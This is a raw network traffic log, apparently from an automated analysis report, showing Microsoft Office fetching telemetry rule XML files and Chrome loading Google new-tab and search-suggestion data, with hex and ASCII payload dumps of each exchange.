2024-12-06 21:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210826Z-r1cf579d7788pwqzhC1EWRrpd800000000ng0000000055gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210826Z-1746fd949bdlqd7fhC1EWR6vt000000004u000000000u8by x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210826Z-r1cf579d778dc6d7hC1EWR2vs8000000012g0000000087w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210826Z-r1cf579d778d5zkmhC1EWRk6h800000000u000000000dkmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210826Z-r1cf579d778d5zkmhC1EWRk6h800000000y0000000004gux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:08:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49717	142.250.181.68	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 21:08:28 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-iP-JOltsSy6LZfUpasyIsQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 21:08:28 UTC	124	IN	Data Raw: 33 30 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 63 61 61 20 76 6f 6c 6c 65 79 62 61 6c 6c 20 74 6f 75 72 6e 61 6d 65 6e 74 20 62 72 61 63 6b 65 74 22 2c 22 73 74 6f 72 6d 20 64 61 72 72 61 67 68 20 77 65 61 74 68 65 72 20 77 61 72 6e 69 6e 67 73 22 2c 22 61 70 70 6c 65 20 69 6f 73 20 31 38 2e 32 22 2c 22 75 6e 6c 6f 63 6b 20 73 69 72 69 6e 20 39 6d 6d 20 62 6f 36 22 Data Ascii: 30c)]}'["",["ncaa volleyball tournament bracket","storm darragh weather warnings","apple ios 18.2","unlock sirin 9mm bo6"
2024-12-06 21:08:28 UTC	663	IN	Data Raw: 2c 22 75 6e 65 6d 70 6c 6f 79 6d 65 6e 74 20 6a 6f 62 73 20 72 65 70 6f 72 74 22 2c 22 66 69 66 61 20 63 6c 75 62 20 77 6f 72 6c 64 20 63 75 70 20 64 72 61 77 22 2c 22 74 6f 64 61 79 20 77 6f 72 64 6c 65 20 68 69 6e 74 73 22 2c 22 69 6e 64 69 61 6e 61 20 6a 6f 6e 65 73 20 72 65 76 69 65 77 20 67 72 65 61 74 20 63 69 72 63 6c 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 Data Ascii: ,"unemployment jobs report","fifa club world cup draw","today wordle hints","indiana jones review great circle"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","g
2024-12-06 21:08:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49718	142.250.181.68	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:27 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49716	142.250.181.68	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 21:08:28 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 21:08:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 21:08:28 UTC	372	IN	Data Raw: 31 64 31 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1d16)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 31 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700271,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
